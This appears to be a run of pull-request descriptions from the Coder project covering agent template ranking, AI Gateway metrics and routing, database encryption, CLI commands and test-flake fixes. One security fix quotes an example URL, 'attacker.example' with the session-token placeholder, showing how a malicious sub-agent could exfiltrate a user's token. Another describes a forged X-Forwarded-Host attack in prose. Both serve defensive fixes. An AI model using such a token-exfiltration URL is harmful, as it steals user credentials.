closes CODAGT-203
## Summary
`list_templates` now returns a ranked shortlist with a recommendation,
so the chat agent can pick the right template the way a colleague would:
prefer what matches the request, what the user already uses, and what
the rest of the organization uses. Instead of teaching the model an enum
protocol in prompts, every result carries a fixed `next_step`
instruction telling the agent what to do.
## How list_templates works
1. **Fetch**: active, non-deprecated templates in the chat's
organization, filtered by the admin template allowlist, authorized as
the chat owner (no system escalation).
2. **Query relevance** (optional `query` argument): each template
receives the highest tier any of its fields matches, and a higher tier
always outranks a lower one regardless of usage:
| Tier | Match |
|------|-------|
| 4 | name or display name equals the query |
| 3 | name or display name starts with the query |
| 2 | name or display name contains the query |
| 1 | description contains the query (checked only when no name field
matched) |
| 0 | no match; the template is excluded |
Matching is case-insensitive and ignores spaces/hyphens/underscores
(`python gpu` matches `python-gpu`).
3. **Usage signals**: a new `GetTemplateRankingSignalsByOwnerID` query
returns, per template, the owner's active and recently-deleted workspace
counts within a 60-day window, the last in-window usage, and the count
of distinct developers with an active workspace (unclaimed prebuilds
excluded).
4. **Affinity score** (computed in Go, per template, from that
template's signals only):
```text
affinity = 10 x (active + 0.5 x deleted) x 0.5^(days_since_last_use /
14)
+ ln(1 + active_developers)
```
`active`/`deleted` are the owner's in-window workspace counts,
`days_since_last_use` is measured from the most recent in-window usage
(the personal term is zero without in-window usage), and
`active_developers` is the org-wide count. Personal usage carries 10x
the weight of org popularity; the confidence floor is the score of two
active developers (`ln 3`) and the required lead over the runner-up is
`ln 3 - ln 2`.
5. **Rank**: query tier first (when a query is present), then affinity
score, then name/ID for determinism. Results paginate 10 per page with
`next_page` present only when more exist.
## Recommendation contract
The result tells the agent what to do next instead of describing
confidence levels:
- `recommended_template_id` is present only when the top template is a
clear winner: the only available template, a decisive query match, or an
affinity score that clears a floor and leads the runner-up by a derived
margin.
- `next_step` is always present and is one of four fixed sentences: use
the recommendation, ask the user to choose, retry a query that matched
nothing, or report that no templates are available.
Per-template items carry raw evidence (`active_developers`,
`your_workspace_count`, `last_used_by_you`) rather than derived labels.
When signals fail to load, the tool logs and degrades to asking the user
unless the query alone is decisive.
Prompts and the `create_workspace`/`read_template` descriptions
reference the field through the `chattool.NextStepField` constant, so
the instruction lives in one place and cannot drift. `create_workspace`
remains idempotent and allowlist-enforced.
## Authorization
The signals query runs with the chat owner's permissions: reading the
owner's own workspaces plus a template-metadata read for the cross-user
popularity count. dbauthz rejects the call if any requested template is
not readable by the owner (covered by allow and deny method tests).
## Docs
Adds `docs/ai-coder/agents/tools/` explaining how agent tool calls work,
with `list_templates` ranking and the `next_step` contract as the first
documented tools.
> AI Tools where used in this request.
Registers `coder_aibridged_*` and `coder_aibridgeproxyd_*` metrics under
new prefixes: `coder_ai_gateway_*` and `coder_ai_gateway_proxy_*`.
Old prefix is still exported. Will be removed in later release.
Also updated the `metricsdocgen` static fixture. Added 4
previously-undocumented metrics `key_pool_state`,
`key_pool_state_transitions_total`, `key_pool_exhaustions_total`,
`key_pool_failover_attempts` added the `client` label to the existing
interception, prompt, and token counter samples.
Updated AI Gateway documentation.
Add a new subcommand to list all registered sync units and their current
statuses. This provides a quick overview of the dependency coordination
state in a workspace without needing to query each unit individually.
The command supports both table (default) and JSON output formats.
```
$ coder exp sync list
UNIT STATUS READY
unit-a started true
unit-b completed true
unit-c pending false
$ coder exp sync list --output json
[
{
"unit_name": "my-unit",
"status": "started",
"is_ready": true
}
]
```
When no units are registered, the command prints `No units registered`.
<details><summary>Changes across layers</summary>
- `agent/unit`: add `Manager.ListUnits()` method
- `agent/agentsocket/proto`: add `SyncList` RPC, bump API to v1.2
- `agent/agentsocket`: add service and client implementations
- `cli`: add `sync_list.go` command, register in `sync.go`
- Tests: three golden-file test cases (empty list, multiple units, JSON)
</details>
> Generated by Coder Agents on behalf of @SasSwart
---------
Co-authored-by: Cian Johnston <cian@coder.com>
Add a periodic purge job for `boundary_logs` rows past their retention
threshold, following the same pattern as the existing audit log and
connection log purge jobs in `dbpurge`.
Expose a `--boundary-log-retention` deployment flag (env
`CODER_BOUNDARY_LOG_RETENTION`, YAML `retention.boundary_logs`). Default
is `0` (keep indefinitely). When set to a positive duration, `purgeTick`
deletes rows where `captured_at` is older than the threshold in batches
of 10,000, matching other log purge operations. The `boundary_logs`
label is added to the `records_purged_total` Prometheus counter.
Also removes the random-UUID fallback for `OwnerID` in
`dbgen.BoundarySession`. The previous fallback generated a UUID that
could never satisfy the `boundary_sessions_owner_id_fkey` FK constraint,
masking test setup bugs. Callers must now provide a valid user ID or
accept NULL (the legitimate "user deleted" state).
Adds `ai` to sqlc's `gen.go.initialisms` in `coderd/database/sqlc.yaml`
so the generated DB code follows Go's initialism convention. Adds the
matching `ai` -> `AI` case to the dbgen PascalCase helper
(`scripts/dbgen/main.go`) so the corresponding `dbmem` / mock
identifiers stay in sync. `make gen` regenerates the rest; hand-written
call sites that consume DB-generated identifiers
(`enterprise/audit/table.go`, `coderd/database/modelmethods.go`,
`enterprise/coderd/aigatewaykeys.go`, `coderd/database/dbauthz/*`, etc.)
are updated to match.
Scope is deliberately limited to the database layer:
- `coderd/rbac/*` (resource and scope generators) is untouched —
`ResourceAi*` / `ScopeAi*` constants stay on main's casing.
- `codersdk/*` (Go SDK) is untouched — `codersdk.ResourceAi*` /
`codersdk.APIKeyScopeAi*` constants stay on main's casing, so external
Go SDK consumers see no source-level break.
- `Aibridge*` identifiers (one SQL token `aibridge`, not `ai_bridge`)
are out of scope.
On-the-wire values are unchanged: enum strings, RBAC resource type
strings, API key scope strings, and JSON tags all stay the same. The
HTTP/JSON surface is unaffected.
Refs:
[AIGOV-369](https://linear.app/codercom/issue/AIGOV-369/change-ai-references-in-coderddatabasemodelsgo-to-ai)
🤖 Generated with [Coder Agents](https://coder.com)
`coder exp scaletest chat` now bootstraps its mock LLM using the,
post-gateway unification, AI provider API instead of the removed
experimental chat-provider API, and creates or reuses a chat model
config linked to that provider. When the mock provider is created or
updated, the command waits a flat, hidden `--provider-propagation-wait`
(default 15s) before starting the scale run, since each coderd replica
caches provider config with a 10s TTL and only expiry guarantees every
replica sees the change. The command also runs without any scaletest
workspaces, creating chats with no workspace context. The integration
test covers the CLI path against `llmmock` with a near-zero propagation
wait, verifies the provider/model config setup, and asserts the
generated chat records user and assistant messages.
Relates to CODAGT-307
Relates to GRU-48
Subdomain app routing derived the app identity from
httpapi.RequestHost, which returned the client-supplied
X-Forwarded-Host header verbatim. No middleware validated or stripped
that header, so a request from an untrusted peer could forge it. Since
the application_connect cookie is scoped to the wildcard apps domain,
JavaScript in a share=authenticated app could fetch() with a forged
X-Forwarded-Host pointing at a victim's owner-only app; coderd routed
and authorized the request as the victim and returned the private app
response same-origin to the attacker.
Replace RequestHost with httpmw.EffectiveHost, which honors
X-Forwarded-Host only when the original socket peer is a configured
trusted origin, otherwise falling back to the received Host header.
This ties host trust to the same RealIPConfig model already used for
X-Forwarded-For and -Proto. Wire it into HandleSubdomain for both
coderd and wsproxy, and log both the effective host and the raw
received_host.
Add coverage: EffectiveHost unit tests assert the trust decision uses
the socket peer rather than the spoofable forwarded client IP, and a
HandleSubdomain test confirms a forged X-Forwarded-Host from an
untrusted peer never reaches token resolution.
Refs: https://linear.app/codercom/issue/PLAT-259
`coder open app` substituted the user's session token into any external
workspace-app URL containing `$SESSION_TOKEN` before opening, letting a
malicious sub-agent exfiltrate the token via a URL like
`https://attacker.example/?t=$SESSION_TOKEN`.
Substitution is now restricted to URLs from top-level
(template-authored) agents. Sub-agent URLs that still contain
`$SESSION_TOKEN` are printed for the user to inspect and substitute
manually rather than opened automatically. Sub-agent URLs without the
placeholder are unaffected.
Fixes CODAGT-548
Adds two idempotent startup backfills run after `newAPI():
- `BackfillBedrockProviderType`: promotes `ai_providers` rows from
`type=anthropic` with Bedrock settings to `type=bedrock`.
- `BackfillChatModelConfigProviderStrings`: fixes stale
`chat_model_configs.provider = "anthropic"` strings on rows whose linked
provider was just promoted.
- `UpdateAIProvider` query now also writes the `type` column, so the
fix persists on any subsequent PATCH.
> 🤖 Generated by Claude with oversight from a human.
Reverts coder/coder#26239
We cannot disable a feature which was previously enabled; this is a BC
break.
This is also using `AIGatewayRoutingEnabled` which will be removed in
the next release.
Problem: CODER_AI_GATEWAY_ENABLED defaulted to true, which both started
the in-memory gateway and enabled the licensed FeatureAIBridge. As a
result, deployments that never configured AI Gateway saw a spurious "AI
Governance add-on is required" warning whenever they had an older
(non-add-on) Premium license, since the feature was enabled-and-entitled
by default.
Fix: Decouple "external AI Gateway API enabled" from "in-memory daemon
running," so the external/licensed surface is off by default while Coder
Agents retain access by default.
Resolves the issue of `--prompt-ephemeral-parameters` and
`--ephemeral-parameter` not being available for use in the `coder
create` workspace creation command (they are only available in `coder
start` command). Back when they were [added
originally](https://github.com/coder/coder/pull/15030) it seems to have
been an oversight that they were left out.
The problem this solves:
```
coder create --parameter my_ephemeral_parameter=foo
error: prepare build: ephemeral parameter "my_ephemeral_parameter" can be used only with --prompt-ephemeral-parameters or --ephemeral-parameter flag
```
```
coder create my-test-ws -t general --ephemeral-parameter my_ephemeral_parameter=foo
parsing flags ([create my-test-ws -t general --ephemeral-parameter my_ephemeral_parameter=foo]) for "coder create": unknown flag: --ephemeral-parameter
```
Tested on a template with the following:
```
data "coder_parameter" "my_ephemeral_parameter" {
name = "my_ephemeral_parameter"
type = "bool"
description = "true or false?"
mutable = true
default = false
ephemeral = true
}
resource "coder_env" "debug_ephemeral" {
agent_id = coder_agent.main.id
name = "EPHEMERAL_TEST"
value = data.coder_parameter.my_ephemeral_parameter.value
}
```
By running:
```
➜ coder git:(rowan/coder-create-5495) ✗ go run cmd/coder/main.go create --ephemeral-parameter my_ephemeral_parameter=true
> Specify a name for your workspace: ws4
Select a template below to preview the provisioned infrastructure:
? kasmvnc-ubuntu-coder-dev used by 1 active developer
Select a preset below:
? Small (2 CPU / 4 GB)
....
...
The ws4 workspace has been created at Jun 3 12:36:38!
➜ coder git:(rowan/coder-create-5495) ✗ coder ssh ws4
workspace-ws4-5d6994756f-qlwnl% echo $EPHEMERAL_TEST
true
workspace-ws4-5d6994756f-qlwnl% exit
```
- Adds server-side and client-side validation for
CODER_CONFIGSSH_HOSTNAME_SUFFIX and CODER_SSH_CONFIG_OPTIONS.
- **Server-side breaking change:** invalid values for either of these will cause `coderd` to exit with an error.
- Client-side: `coder config-ssh` will exit with an error if it detects invalid config.
- Adds tests for the above
Local smoke-testing: ran `develop.sh --env-file <path to an env file
containing badness>`. Validated that server startup failed as expected.
> 🤖 Generated by Coder Agents with supervision from a human.
Co-authored-by: Copilot Autofix powered by AI <175728472+Copilot@users.noreply.github.com>
## Description
This PR adds Prometheus metrics for aibridge's API-key failover, giving visibility into key pool health and failover behavior per provider.
The following metrics are introduced:
- **`key_pool_state`** (gauge): number of keys currently in each state (`valid`, `temporary`, `permanent`) per provider, sampled at scrape time.
- **`key_pool_state_transitions_total`** (counter): key state transitions during failover, labeled by `reason` (`rate_limited`, `unauthorized`, `forbidden`).
- **`key_pool_exhaustions_total`** (counter): times a pool ran out of usable keys, labeled by `outcome` (`rate_limited`, `auth_failed`).
- **`key_pool_failover_attempts`** (histogram): keys attempted before success or exhaustion (per interception for bridged requests, per request for passthrough).
## Changes
- Moves `MarkKeyOnStatus` and key-pool error handling onto `*keypool.Pool`.
- Attaches metrics to each provider's key pool at install time, on construction and on provider reload.
- Adds a scrape-time state collector and a `KeyPools()` accessor on the bridge pool to feed it.
- Tracks per-request key attempts in the bridged and passthrough failover paths.
- Adds test coverage for the new metrics across the keypool unit tests, the bridged intercept failover tests, and the passthrough failover test.
Closes https://github.com/coder/internal/issues/1447
Closes https://linear.app/codercom/issue/AIGOV-198/aibridge-key-failover-observability
> [!NOTE]
> Initially generated by Claude Opus 4.7, modified and reviewed by @ssncferreira
Refs #25936.
Adds a configurable per-org default member role set. Unioned into each member's effective roles at read time.
<sub>with Coder Agents on behalf of @Emyrk.</sub>
Add clilog.DiscardOnPipeError, an io.Writer wrapper that drops writes
failing with io.ErrClosedPipe or syscall.EPIPE, and apply it to the
clilog stdout/stderr sinks and the port-forward verbose sink.
Background goroutines (e.g. port-forward -v tailnet goroutines) keep
logging after the reader on the log destination is gone. slog reports
those failed writes to stderr, which is noise and can interleave with
and corrupt go test/test2json output, misreporting passing tests as
failed. os.ErrClosed and all other errors are still returned, so writes
to a writer we closed ourselves are not hidden, and normal CLI pipe
semantics are unchanged.
Coder Connect DNS should answer from the local Coder Connect resolver,
so `coder ssh --stdio` now gives the optional DNS availability probe a
100ms budget and falls back to the normal tunnel when DNS paths
blackhole absolute `.coder.` lookups instead of answering NXDOMAIN.
Closes https://github.com/coder/coder/issues/22581.
`TestUseKeyring/Logout` flaked on Windows in CI: after `coder logout`
returned `nil`, `env.keyring.Read(env.clientURL)` still returned the
credential instead of `os.ErrNotExist`. The CI logs showed the logout
HTTP call succeeded and the keyring service name and server URL were
correct.
The OS keyring is shared global state on Windows and macOS, and
concurrent in-process access seems to produce intermittent failures on
Windows (ERROR_NOT_FOUND, stale reads after delete). This change
serializes TestUseKeyring subtests in an attempt to fix the intermittent
failures. The root cause is unknown.
Generated with assistance by Coder Agents
Renames the `coder boundary` CLI subcommand to `coder agent-firewall` as
part of the Boundaries → Agent Firewall rebrand.
`coder boundary` is retained as a hidden, deprecated alias that prints a
deprecation notice to stderr before running. Both commands use separate
builder functions backed by the same boundary base command and license
verification logic.
Closes https://linear.app/codercom/issue/AIGOV-236
<details><summary>Implementation notes</summary>
**Approach:** Two separate `*serpent.Command` objects (not `Aliases`) so
the deprecated `boundary` path can print a stderr warning while
`agent-firewall` stays clean.
**Changes:**
- `enterprise/cli/boundary.go`: Split old `boundary()` into
`buildAgentFirewallCmd()` and `buildBoundaryAliasCmd()`. Error messages
in `verifyLicense` now reference "agent-firewall".
- `enterprise/cli/root.go`: Register both commands.
- `cli/root.go`: Update YAML-only option validation bypass for the new
command name.
- Tests: Rename to `TestAgentFirewallSubcommand`, add
`TestBoundaryAlias`, update license verification tests to use
`agent-firewall`.
- Golden files and CLI reference docs regenerated.
- `docs/ai-coder/agent-firewall/version.md` and `docs/manifest.json`
updated.
</details>
> Generated with [Coder Agents](https://coder.com/agents) by @SasSwart
Cleans the last few instances of ExpectMatch that didn't use the new `(ctx, ...)` variant, then deletes the deprecated method and renames `ExpectMatchContext` to drop the `Context` suffix.
Adds an optional dbcrypt wrapper around gitsshkeys.private_key. The
column is encrypted on insert and update through enterprise/dbcrypt when
external token encryption is configured, and decrypted on read.
A new private_key_key_id column references
dbcrypt_keys(active_key_digest) so revocation safety is enforced by the
existing foreign key. Rows with a NULL key_id stay plaintext and remain
readable. Existing plaintext rows can be backfilled by running `coder
server dbcrypt rotate`.
Generated with assistance from Coder Agents.
## Summary
Fixes all 9 Windows CI test failures caused by the mise CI refactor
(`fe257666d7`, PR #25727).
### Root cause
`jdx/mise-action` exports `Path` (Windows convention) via `GITHUB_ENV`.
Bash on Windows maintains its own `PATH`. When Go's `os.Environ()`
returns both, `cmd.exe` subprocesses non-deterministically pick the
MSYS-translated `PATH` (forward slashes), causing Windows executables
(`printf`, `powershell.exe`, `cmd.exe`) to be unresolvable.
These failures only appeared on `main` (where `-count=1` forces real
test execution) and were masked on PRs by Go test cache.
### Fixes applied
**CI (`setup-mise` action)**:
- Write both `Path` and `PATH` to `GITHUB_ENV` with Git usr/bin
prepended
**Code (`cli/root.go`)**:
- Add `appendAndDedupEnv` helper that deduplicates case-insensitive env
vars on Windows, preferring native Windows paths (backslashes) over MSYS
paths
**Code (`cli/configssh_windows.go`)**:
- Use absolute paths for `powershell.exe` and `cmd.exe` in the SSH
config `Match exec` escape function, avoiding PATH resolution entirely
**Tests**:
- Switch `--header-command` tests from `printf` to `echo` (cmd.exe
builtin) for reliable cross-platform execution
- Add env dedup in `Test_sshConfigMatchExecEscape` for subprocess PATH
consistency
Fixescoder/internal#1556, coder/internal#1558, coder/internal#1559
> 🤖 Generated by Coder agent, will be reviewed by @mafredri. 🏂🏻
The PausedDuringWaitForReady and WaitsForWorkingAppState tests flaked
because the quartz resetTrap was released immediately after catching
ticker.Reset (line 174), allowing client.TaskByID (line 175) to race
with the subsequent DB mutation (pauseTask / PatchAppStatus).
Fix: keep the resetTrap open across both poll iterations. On the first
poll, release the trap so the goroutine sees the initial state and
continues. On the second poll, hold the goroutine frozen at
ticker.Reset while mutating state. Then release; client.TaskByID
deterministically sees the mutated state. No race because the
goroutine cannot execute client.TaskByID while trapped.
Closes CODAGT-482
PausedDuringWaitForReady used the real clock, so the 5s poll in
waitForTaskIdle could race with an in-flight stop build. The SQL
view (tasks_with_status) returns "unknown" for stop builds with
job_status != "succeeded" because the build_status CASE has no
branch for (stop, pending) or (stop, running). On macOS CI, where
the provisioner is slower, the poll fires during this transient
window and hits the TaskStatusUnknown case instead of
TaskStatusPaused, failing with "task entered unknown state" rather
than the expected "was paused".
Convert to the same quartz mock clock pattern that PR #25648
applied to WaitsForWorkingAppState: inject a mock clock via
NewWithClock, trap ticker creation and reset, then advance time
deterministically so the poll fires after the stop build completes.
Closes CODAGT-482
_Disclosure: created with Coder Agents._
When providers are disabled, we should serve a sentinel error so the
requesting client (Claude Code, Coder Agents, etc) is informed. Coder
Agents can also conditionalize its display to show a helpful error
message.
---------
Signed-off-by: Danny Kopping <danny@coder.com>
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
<!--
If you have used AI to produce some or all of this PR, please ensure you have read our [AI Contribution guidelines](https://coder.com/docs/about/contributing/AI_CONTRIBUTING) before submitting.
-->Part of https://github.com/coder/internal/issues/1400
Refactors CLI tests of the `create` command as the first batch of tests refactored to take a PTY out of the loop.
One interesting difference I noticed between PTY and a direct pipe to standard in is that on the PTY we write `\r` to enter some input, but the kernel actually sends `\n` (or maybe `\r\n`) to the process, at least on Unix. (On windows we sent `\r\n` into the PTY). This is reflected in the implementation of the `Writer` , otherwise mostly inspired by the PTYTest equivalents.
Add metrics for `aibridged` and `aibridgeproxyd`'s provider statuses. AI providers can be modified, and possibly misconfigured, at runtime. These metrics help operators understand the state of these provider definitions in case unexpected behaviour is observed.
_Disclosure:_ _produced_ _with_ _Claude_ _Opus_ _4\.7_
AI Gateway only supports Anthropic (+Bedrock), OpenAI, and Copilot providers at present. All other types (Vercel, Gemini, etc) will be mapped to OpenAI since they support OpenAI-compatible endpoints.
## Problem
Follow-on to:
- https://github.com/coder/coder/pull/25089
`coder exp sync start` still printed a generic success message when the
unit was ready on the first status check. That hid whether the unit had
no dependencies or had dependencies that were already satisfied before
`sync start` ran.
Before:
```text
Success
```
## Solution
Print explicit startup output for both ready-at-first-check cases.
After, dependencies already satisfied:
```text
Unit "test-unit" started immediately, dependencies already satisfied: [dep-unit, dep-unit-2]
```
After, no dependencies:
```text
Unit "test-unit" started with no dependencies
```
The existing waiting path is unchanged and still reports the
dependencies while waiting and after waiting finishes.
Co-authored-by: Sas Swart <sas.swart.cdk@gmail.com>
Previously the in-process aibridge daemon and the enterprise aibridgeproxy daemon both snapshotted their provider routing once at boot. Any `ai_providers` or `ai_provider_keys` mutation required a restart for either to pick it up.
Add an `ai_providers_changed` pubsub channel that the CRUD handlers publish on after Create / Update / Delete. Both daemons subscribe:
- **aibridged** rebuilds its `[]aibridge.Provider` snapshot via `BuildProviders` and swaps it into the pool atomically. Inflight requests keep serving against the bridge they already acquired; new acquires build against the new snapshot. Per-provider construction errors stay scoped to the offending row.
- **aibridgeproxyd** rebuilds its routing snapshot from `GetAIProviders` and swaps the host→provider map atomically. The MITM listener picks up new providers without restart.
DB read for aibridgeproxyd uses the existing `AsAIProviderMetadataReader` subject for routing-only access.
> [!WARNING]
> The investigation and solution in this PR were done with
[Mux](https://mux.coder.com/). I've reviewed the investigation
methodology, evidence and solution, and it all appears sound.
## Summary
PR #25570 (`refactor: move aibridged out of enterprise to AGPL`, merged
2026-05-22) added an in-memory aibridge DRPC server in
`coderd/aibridged.go` that does `api.WebsocketWaitGroup.Add(1)` and only
releases `Done()` when its client session is closed. PR #25575 then
flipped `CODER_AI_GATEWAY_ENABLED` to default to `true`, so every
`cli.Server()` invocation now spins up that goroutine.
In `cli/server.go`, the only call to `aibridgeDaemon.Close()` was a
`defer` scheduled at function return. During graceful shutdown the code
first calls `coderAPICloser.Close()`, which waits on
`api.WebsocketWaitGroup`. That wait sits for the full 10s timeout in
`coderd/coderd.go` (`websocket shutdown timed out after 10 seconds`),
then returns, then the function unwinds, and only then does the deferred
`aibridgeDaemon.Close()` fire and let the goroutine call `Done()`.
The 10s tax was previously latent (aibridged was enterprise-only and
opt-in). After the two May 22 PRs it hit every `cli.Server()` test. On
Linux/macOS CI it just makes the suite slower; on the Depot Windows
runner, the ramdisk reservation leaves only ~17 GiB of headroom and the
~10s shutdown tails of multiple concurrent package binaries overlap into
an OOM, presenting as `test-go-pg (windows-2022)` jobs that die silently
at the ~600s watchdog with an empty `steps` array.
See Slack:
https://codercom.slack.com/archives/C05AE94121Z/p1779807717764189
## Fix
Close `aibridgeDaemon` explicitly during graceful shutdown, **before**
`coderAPICloser.Close()` waits on the WebSocket wait group. This matches
the existing ordered-shutdown pattern used for `tunnel` and
`notificationsManager`. The deferred `aibridgeDaemon.Close()` is
retained as a safety net for early-return paths, and is safe to
double-call because `aibridged.Server.Close()` is already idempotent via
`shutdownOnce` in `coderd/aibridged/aibridged.go`.
## Regression test
`TestServer_AIGatewayShutdownOrdering` boots a real `coder server` with
`--ai-gateway-enabled=true`, cancels its context, and asserts graceful
shutdown finishes in under 8s. With the fix the test runs in ~0.1s;
without the fix it fails deterministically at ~10.0s. The flag is passed
explicitly so the test continues to guard the ordering even if the
deployment default is ever flipped back.
## Evidence this fixes the OOM
On Linux the patched `cli` test package drops from 114 s back to its
pre-regression 30 s wall time at the same single-process peak RSS (~7.6
GiB), and the `websocket shutdown timed out after 10 seconds` log line
disappears from every server-test run. Since the Windows OOM is the sum
of multiple concurrent 10 s shutdown tails overlapping past the runner's
~17 GiB headroom, removing those tails returns the concurrent-RSS budget
to its pre-regression level. The Windows OOM was intermittent (a handful
of hits across many runs since May 22), so a single green `test-go-pg
(windows-2022)` job on this PR is not by itself proof; confirmation will
come from watching Windows runs on `main` over the next several days and
seeing the ~600 s silent-kill fingerprint stop recurring.
Relates to ENG-2771
## Summary
Routes chatd model calls backed by concrete AI Provider rows through the
in-process aibridge transport by default, with deployment options to use
direct provider routing when AI Gateway is disabled or chat AI Gateway
routing is disabled.
- Splits model routing into common, direct provider, and AI Gateway
paths behind a single deployment-mode entry point.
- Builds chatd models through explicit request, route, and options data.
Active API key attribution is passed explicitly instead of being hidden
inside generic model construction.
- For AI Gateway BYOK routes, resolves the user's provider key in chatd,
forwards it through provider-specific auth headers, and sets
`X-Coder-AI-Governance-Token` to the `delegated` marker so aibridge
preserves those headers while still stripping Coder-specific metadata.
- Keeps central provider credentials and deployment fallback credentials
out of forwarded provider auth headers, so AI Gateway central policy
remains authoritative.
- Redacts delegated provider auth from default string formatting to
avoid accidental plaintext logging of user BYOK credentials.
- Covers selected chat models, advisor overrides, title and quickgen
paths, subagent overrides, computer use model selection, and an
integration-style chat turn through the aibridge transport path.
- Persists initiating API key IDs on chat and queued user messages,
including subagent child messages, and fails closed for AI
Gateway-routed model builds without an active key.
- Removes unused `api_key_id` indexes while keeping the persistence
columns and foreign keys.
- Keeps the deployment option available through config and env parsing,
but hides it from CLI help and generated docs.
- Stabilizes the subagent poll fallback test so background CreateChat
processing cannot win the state transition under slower CI environments.
## Tests
- `go test ./coderd/x/chatd -run
'TestAIGatewayProviderAuthForUser|TestAIGatewayProviderAuthRedactsFormatting|TestResolveModelRouteForConfigAIGatewayProviderAuth|TestAIGatewayModelForwardsProviderAuth|TestProcessChat_AIGatewayRoutingUsesDelegatedAPIKey|TestAwaitSubagentCompletion'
-count=1`
- `go test ./coderd/aibridged -run
'TestServeHTTP_DelegatedAPIKey|TestServeHTTP_StripCoderToken' -count=1`
- `git diff --check HEAD~1..HEAD`
- `make lint`
> Mux working on behalf of Mike.
## Problem
Two related symptoms of the same architectural issue: the `dbcrypt`
wrapper is installed inside `enterprise/coderd.New`, so any access to
`options.Database` that happens before `newAPI` runs bypasses
encryption.
**Symptom 1 (reads):** Provider keys added via the admin UI are
encrypted at rest. `BuildProviders` was running *before* `newAPI`,
against the unwrapped store, so the ciphertext was read as-is and shoved
into the keypool as the upstream credential. Anthropic/OpenAI reject it,
and the interception log shows:
```
coderd.aibridged.pool: interception failed ... error="all configured keys failed authentication"
credential_kind=centralized credential_hint=PaPb...4A== credential_length=184
```
**Symptom 2 (writes):** `SeedAIProvidersFromEnv` was also running before
`newAPI`, against the unwrapped store, so env-derived keys
(`CODER_AIBRIDGE_OPENAI_KEY`, indexed `CODER_AIBRIDGE_PROVIDER_<N>_KEY`,
etc.) landed in `ai_provider_keys` as plaintext with `ApiKeyKeyID =
null` even when `CODER_EXTERNAL_TOKEN_ENCRYPTION_KEYS` was set.
## Fix
Move both `SeedAIProvidersFromEnv` and `BuildProviders` to after
`newAPI`, where `options.Database` is the dbcrypt-wrapped store. Writes
encrypt correctly; reads decrypt correctly.
The enterprise closure (`enterprise/cli/server.go`) runs *inside*
`newAPI` and calls `BuildProviders` for the aibridgeproxyd at that
point. Once the agpl seed moves to after `newAPI`, the proxy on first
boot would see no env-seeded providers. Add a matching seed call inside
the enterprise closure before its `BuildProviders` to cover that case.
Seeding is idempotent, so the agpl-side seed running again post-`newAPI`
is a no-op when the rows already exist.
## Known shortcomings
The clean version of this fix would just inherit `ctx` like every other
startup step and place these calls naturally. It can't, for two reasons
that are both about the surrounding handler architecture rather than
this change:
1. **`dbcrypt` wrapping is positioned inside `newAPI`, not around
`options.Database` at creation.** That's why both seed and build have to
wait until after `newAPI` in the first place. The principled fix is to
install the wrapper at the point the store is created (behind a hook the
enterprise build supplies), so every consumer sees a single
authoritative view and the ordering stops mattering. This would also
collapse the duplicated seed call back to a single site.
2. **The handler's shutdown sequence is not deferred.**
`coderAPICloser.Close()` and the other teardown steps run only if
control reaches the `select` at the bottom of the handler. An early
`return` from anywhere in Phase 1 (e.g. seed/build returning
`context.Canceled` when the user hits ctrl-c during startup) skips that
block and orphans all the goroutines `newAPI` spawned — tailnet workers,
gitsync, telemetry batcher, etc. `goleak` then catches them at package
teardown and `TestServer_TelemetryDisabled_FinalReport` fails. Moving
the shutdown into deferred closers (with a `sync.Once`-guarded close to
avoid double-close from the explicit Phase 2 call) is the principled
fix.
For this PR I took the smallest change that fixes the reported bugs: a
detached context (`context.WithoutCancel(ctx)` + a 30s timeout) at the
seed and build call sites in both the agpl and enterprise paths. It lets
the calls complete even if the user cancels during startup, after which
the handler reaches its shutdown select naturally and tears down through
Phase 2. Both shortcomings above are worth addressing separately.
## Test plan
- `make test RUN=TestServer_TelemetryDisabled_FinalReport` with `-race`;
passes locally with `-count=3`.
- Manually verified on a deployment with
`CODER_EXTERNAL_TOKEN_ENCRYPTION_KEYS` set and env-configured providers:
`ai_provider_keys.api_key_key_id` is populated, `api_key` is base64
ciphertext, and upstream auth succeeds.
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Jaayden Halko